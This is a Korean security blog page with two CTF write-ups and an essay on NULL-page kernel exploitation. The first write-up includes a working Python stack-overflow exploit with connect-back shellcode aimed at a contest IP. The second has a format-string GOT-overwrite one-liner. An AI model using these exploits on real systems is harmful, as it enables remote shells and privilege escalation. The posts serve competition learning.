지난 주말 Cat-Security가 운영하는 HolySheild 2012가 있었습니다.

대회수준이 많이 좋아져서 살짝 놀랐는데요. 재밌는 Pwnable 문제들이 있어서 잠시 포스팅해봅니다.


저희 Individual-3팀은 이번에 MachoMan 팀과 연합해서 BananaMan으로 출전했는데요

중간에 제가 이 문제에 잠시 이상한(?) 길로 빠지면서 잉여력만 폭발했던 문제였습니다.

결국에는 exso가 정상적으로 풀었죠 ㅋ

전 exso가 문제를 정상적으로 풀고 나서도 한참을 해매고 있었습니다. ㅋㅋ


아래는 결과적으로 취약점이 있는 데몬의 함수부분을 디컴파일한 부분입니다. ㅋ


void __cdecl sub_8048CD6(int fd)

{

  unsigned int v1; // eax@1

  int v2; // eax@1

  int v3; // eax@4

  int *v4; // [sp+10h] [bp-3A0h]@1

  int v5; // [sp+14h] [bp-39Ch]@1

  char buf; // [sp+114h] [bp-29Ch]@4

  _BYTE v7[256]; // [sp+178h] [bp-238h]@1

  int v8; // [sp+278h] [bp-138h]@1

  unsigned int v9; // [sp+37Ch] [bp-34h]@1

  char v10; // [sp+383h] [bp-2Dh]@1

  int v11; // [sp+384h] [bp-2Ch]@1

  int v12; // [sp+388h] [bp-28h]@4

  FILE *stream; // [sp+38Ch] [bp-24h]@1

  void *v14; // [sp+390h] [bp-20h]@1

  int v15; // [sp+394h] [bp-1Ch]@1

  int v16; // [sp+398h] [bp-18h]@1

  int v17; // [sp+39Ch] [bp-14h]@1

  int v18; // [sp+3A0h] [bp-10h]@1

  int v19; // [sp+3A4h] [bp-Ch]@1

  int v20; // [sp+3B0h] [bp+0h]@1

  int v21; // [sp+3B4h] [bp+4h]@1


  memset(&v8, 0, 256u);

  memset(v7, 0, sizeof(v7));

  v15 = (int)&unk_804A734;

  v16 = 0;

  v17 = 0;

  memset(&v5, 0, 0x100u);

  v1 = time(0);

  srand(v1);

  v19 = v20;

  v18 = v21;

  v4 = (int *)&v4;

  v14 = malloc(0x5F5E100u);

  v2 = rand();

  v9 = (unsigned __int8)(((unsigned int)(v2 >> 31) >> 24) + (_BYTE)v2) - ((unsigned int)(v2 >> 31) >> 24);

  stream = fdopen(fd, "w");

  sub_8049115(fd, "ID : ", 5);

  sub_8049178(fd, (int)v7, 256, 10);

  v10 = v7[v9] >> 4;

  sub_8049115(fd, "Key : ", 6);

  v11 = sub_8049178(fd, (int)&v5, 256, 10);

  if ( v10 - 14 <= 0 )

  {

    sub_8049115(fd, "YAWA OG\n", 8);

    close(fd);

    exit(0);

  }

  sprintf(&buf, "Password (Rest chance : %d) : ", v10 - 14);

  v3 = strlen(&buf);

  sub_8049115(fd, &buf, v3);

  v12 = sub_8049178(fd, (int)&v8, 20 * v10, 10);

  sub_8048B39(&v5, v11, &v8, v12);

  sub_8049115(fd, "This password is correct?\n", 26);

  fprintf(stream, &byte_804A8BC);

  fflush(stream);

  v17 = v20;

  v16 = v21;

  if ( v20 != v19 || v16 != v18 || *(_DWORD *)v15 )

  {

    *(_DWORD *)v15 = 0;

    exit(0);

  }

  exit(0);

}


대부분의 팀에서 표시한 부분의 FSB를 이용해서 문제를 해결했을텐데요

저같은 경우에는 단지 포맷스트링 식상하다는 이유만으로

파랗게 표시된 부분의 overflow를 이용해서 문제를 해결했습니다.


overflow의 문제는 eip나 ebp를 덮을 수 있을정도로 충분히 overflow되지 않는다는 점이 문제인데요

우리는 이 overflow 취약점을 이용해서 stream 변수를 덮을 수 있습니다.

이를 이용하면 eip를 획득하는 것이 가능합니다.


자세한 내용은 FILE *fp 형태로 사용하시는 FILE Stream 구조와

fflush 함수의 내용을 분석해보시면 간단하게 파악하실 수 있습니다.


아래는 사용한 익스플로잇입니다. 건방진 멘티 권혁군을 겨냥해서 권혁군 스타일대로 짜봤습니다.


from socket import *

import struct


pack = lambda x : struct.pack( "<L", x )

unpack = lambda x : struct.unpack( "<L", x)[0]


shellcode = "\x31\xdb\x31\xc0\x53\x43\x53\x43\x53\xb0\x66\x4b\x89\xe1\xcd\x80\x31\xc9\x51\x51\x68\x79\xb7\x81\xec\x66\x68\x1f\x90\x66\x6a\x02\x89\xe2\x6a\x10\x52\x50\xb0\x66\xb3\x03\x89\xe1\xcd\x80\x5b\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x90\x90\x90\x90"


#stack_base = 0xbf8a6d4c

stack_base = 0xbffff450

fake_stream = stack_base + 0x1cc

fake_ptr = stack_base + 0x29c


print len( shellcode )



s = socket( AF_INET, SOCK_STREAM )


s.connect( ( '121.183.129.236', 1202 ) )


stack_base = stack_base + 0x40


print s.recv( 1024 )

s.send( "\xff" * 256 )

print s.recv( 1024 )

s.send( "\xff" * 256 )

print s.recv( 1024 )

s.send( "\x90" * (200-len(shellcode)) + shellcode + "A" + pack(fake_ptr) * 13 + "AAA" + "\x42\x42\x42\x42" * 5 + pack(fake_stream) + "\x0a" )

print s.recv( 1024 )


s.close( )




문제 서버의 상태는 exec-sheild가 없고 ASLR이 적용되지 않은 상황이라

스택안의 쉘코드로도 충분히 동작시킬수 있습니다.


문제는 스택의 시작주소를 모른다는 것인데

stack_base 변수를 간단히 브포하면 쉽게 얻을수가 있죠 ㅋ


그런데, 문제는 이 문제 코딩하신분이 누구신지

공격에 한번 실패하면 좀비 프로세스가 남아 대회서버의 데몬이 죽어버린다는..... 문제였습니다 ㅋㅋ

(그래서 대회때 1번 문제 서버가 자꾸 죽어서 나중에는 서버를 증설하졌죠 ㅋㅋ

죄송합니다 제가 원인이었어요 ㅠㅠ)


마지막으로 제 서버에서 공격했을때 상황입니다. ㅋ


root@taechoe-warehouse:~/lab# gdb ./att

GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2

Copyright (C) 2010 Free Software Foundation, Inc.

License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software: you are free to change and redistribute it.

There is NO WARRANTY, to the extent permitted by law.  Type "show copying"

and "show warranty" for details.

This GDB was configured as "i686-linux-gnu".

For bug reporting instructions, please see:

<http://www.gnu.org/software/gdb/bugs/>...

Reading symbols from /home/passket/lab/att...(no debugging symbols found)...done.

(gdb) r

Starting program: /home/passket/lab/att

Daemon started..(port is 1202)


요렇게 돌려놓은뒤에 (fork를 바이너리 패치해두어서 이렇습니다. ㅋ)

root@taechoe-warehouse:~/lab# python test.py
92
ID :
Key :
Password (Rest chance : 1) :
This password is correct?

요렇게 돌리시면

(gdb) r
Starting program: /home/passket/lab/att
Daemon started..(port is 1202)
process 1646 is executing new program: /bin/dash
$

요렇게 쉘이 뜨는 모습을 확인할 수 있습니다.
요건 제 서버라 원샷이고
다른 실서버라고 해도 스택의 시작주소만 유추할 수 있다면
원샷으로 만들수 있습니다.


ps. 같은 팀원들에게 괜히 대회중에 이상한 방법으로 풀려는 변태스러운 행위로 인해
잉여잉여했던 저의 잉여력에 대해 정중히 사과드립니다 ㅋㅋ

Posted by 알 수 없는 사용자
,

본선 대회때는 passket 형님이 푸셨지만, 뭔가 갑자기 풀어보고 싶어서 다시 풀어봤습니다.

문제는 arm 환경의 shell 파일입니다. 실제 문제에서는 바이너리와, 데몬이 돌고있는 서버정보가 제공됩니다.


쉘에서 명령어를 찾을 수 없다는 오류 출력 부분에 fsb취약점이 존재한다.

데몬 프로그램에서는 사용자 입력을 정의된 명령어와 strncmp 로 비교 후 일치하면, 정해진 명령어를 system 함수로 수행합니다. strncmp 의 경우, 첫번째 인자(R0)로 사용자의 입력을 받기때문에 strncmp 의 got 를 system 함수의 plt 주소로 뒤집어 쓰면 간단하게 원하는 명령어의 수행이 가능합니다.


got의 주소에 시작에 null 값이 들어가게되는데, 사용자 입력을 통해서는 null 값의 입력이 불가능합니다. ㅠㅠ

하지만 데몬 프로그램은 친절하게 dumpcode 기능을 제공하고, 명령어 입력버퍼가 입력시마다 초기화되지 않으므로 해당 메모리 적당한 공간에 strncmp 의 got 주소를 저장하고 이를 이용하면 문제의 해결이 가능합니다.

0xbecdbcc4 에 strncmp 의 got 주소 인 0x00012080  를 저장하고, 그 got 주소에 system 함수의 plt 시작주소인 0x000087a4 를 저장하고 명령어를 수행하면 key 파일을 읽을 수 있습니다. 오옹!


  perl -e 'print "msi\n", "A"x32,"\xc4\xbc\xcd\xbe\n", "%73856c%14\$n\n", "%34724c%18\$n\n","cat hdcon_key\n"'|nc -v localhost 5555

다음과 같이 공격코드 작성 후 수행을 할 경우 다음과 같이 키를 확인 가능합니다.



심심하시면 풀어보시라고 바이너리 첨부합니다.ㅎ


console





Posted by EXSO
,

일반적으로 프로그램의 버그를 찾는데 있어서 많은 사람들이 사용하는 것이

막 찾아주는(?) 더미 퍼징( dummy fuzzing ) 이다.


간단하게 인터넷에서 구할 수 있는 자료들만으로도 생각보다 괜찮은 효율로

버그들을 찾아낼 수 있으며, 그로 인한 공격가능한 상황을 만들 수도 있다.


이러한 퍼징을 통한 버그 찾는 방법들은 보통 디버거나 모니터링해주는 프로세스가

대상 프로그램의 익셉션 상황을 잡아내서 로그를 남겨주는 것이 보통의 구조인데,

이러한 더미퍼징으로 찾는 대부분의 크래쉬는 보통 메모리 커럽션을 발생시키게 된다.

이 때 이런 익셉션의 상황을 종합해서 이것이 어떤 버그인지를 분류한다.


이는 보통 크게 6가지로 나뉜다.


1) Read Access Violation Near NULL

2) Read Access Violation Not Near NULL

3) Write Access Violation Near NULL

4) Write Acesss Violation Not Near NULL

5) Invalid Instruction Pointer

6) Unknown


이런 분류는 크게 Access Violation이 어떤 상황에서 일어났는지가 중요한 기준으로

사용되는데, 그때 사용되는 또 다른 중요한 기준이  NULL 근처인가 아닌가하는 기준이다.


NULL 포인터 근처에서 Access Violation이 일어난 경우와 그렇지 않은 경우를

구분하는 이유는 NULL포인터가 아닌경우에 일어나는 Access Violation의 경우

보통 익셉션이 일어나는 주소를 변경할 수 있는 경우가 많기 때문이다.

또한, NULL 포인터 근처가 아닌곳에서 일어나는 Access Violation이 할당할 수 있는 

메모리인 경우에도 역시 공격할 수 있는 형태의 버그가 되어 

일반적으로 NULL 근처가 아닌경우의 Access Violation을 선호하는 경향이 크다.

(라고 일반적으로 생각하지만, 결국 그렇지는 않다 -_-)


그렇지만, Access Violation이 일어나는 곳이 NULL 근처이거나 아니거나 이와는 상관없이

이러한 크래쉬들은 모두 공격시에 도움이 많이 된다.


NULL 포인터 근처에서의 Access Violation의 경우는 일반적으로 원격에서 공격을 하여

로컬권한의 쉘을 얻거나, 원하는 악성코드를 설치하는 경우보다는 

로컬에서의 권한상승을 위해 사용되는 경우가 매우 많다.


대표적으로 알고있는 유명한 Exploit이 Linux의 sendpage() exploit이다.

sendpage() exploit은 Linux system call 인 sendpage() 함수내에서 발생되는

NULL 포인터 익셉션에 기반하고 있다. 

sendpage() 함수안에 예외처리를 하지 않음으로서 함수포인터의 값이 NULL일때 

호출시킴으로서 커널 권한상승을 꾀하는 것이다.


이러한 NULL 포인터 예외는 커널에서 일어날 경우 그 위험성이 대단히 크게 작용한다.

따라서 대부분의 운영체제에서 NULL 포인터 근처에 메모리 할당을 강제적으로 막고 있다.


그동안 윈도우즈 운영체제 역시 NULL 포인터에 메모리를 할당하기 어려운 것으로 알려져 

왔는데, 우연히 들린 jz님의 블로그에서 다음과 같이 윈도우즈 NULL page를 할당하는 

방법을 확인할 수 있었다.

http://jz.pe.kr/63


요약하자면, 32비트 운영체제의 경우 0xFFFFFFFF 부터 메모리를 할당시켜 0x1000 

바이트를 할당하게 되면, 순환구조로 0x00000000의 메모리의 값이 할당된다는 것이다. 


일반적으로 Windows 운영체제의 .sys 파일은 매우 퍼징하기 쉽다.

이는 IOCTL계열의 함수를 통해 각 인터페이스 함수들을 퍼징해주면 되는데, 

vmware와 같은 가상화 프로그램과 이를 windbg에 물려서 사용한다면,

초보자라도 대단히 쉽게 Windows 커널 퍼저를 구성할 수 있다.


이를 통해 백신이라던가, driver를 사용하는 디바이스 프로그램들을 퍼징한다면

NULL 포인터 근처의 Access Violation을 얻어낼 수 있을 것이다.


그렇다면 우리는 보통 다음과 같은 형태의 공격코드를 작성할 수 있다.


1. NULL page를 할당한다

2. 필요한 값들을 NULL page에 넣어준다.

3. NULL 포인터 근처의 Access Violation을 얻을 수 있는 sys파일의 인터페이스 함수를 호출한다.

4. 커널에서 호출된 sys파일의 인터페이스 함수는 커널권한으로 NULL page에 접근하게 된다.

5. 커널 권한을 얻어낼 수 있다.


최근 국내에도 제로데이를 찾고자 하는 노력들이 많이 보이고 있다.

대부분의 연구하는 해커들이 잘 찾고 있지만, 

혹여나 안일한 마음으로 아 이런 크래쉬는 공격할 수 없을것 같아 라고 생각한다면,

그동안 알고 있던 NULL page 할당을 생각해 봤으면 좋겠다.


안전한 크래쉬는 없다.

물론 모든 프로그램의 버그가 크래쉬로 연결되는 것은 아니고,

모든 크래쉬가 공격가능한 것은 아니다.


그렇지만 언제나 생각지 못한 공격방법은 있는 것이다.

그리고 취약점을 찾는 과정도 매우 중요하지만,

공격방법을 찾아내는 과정 역시 매우 중요하다.


다른 해커들이 만들어내지 못하는 공격방식을 찾아내는 즐거움

NULL page를 할당하는 저런 기발한 생각들이

우리 해커들을 움직이게 하는것이 아닐까

Posted by 알 수 없는 사용자
,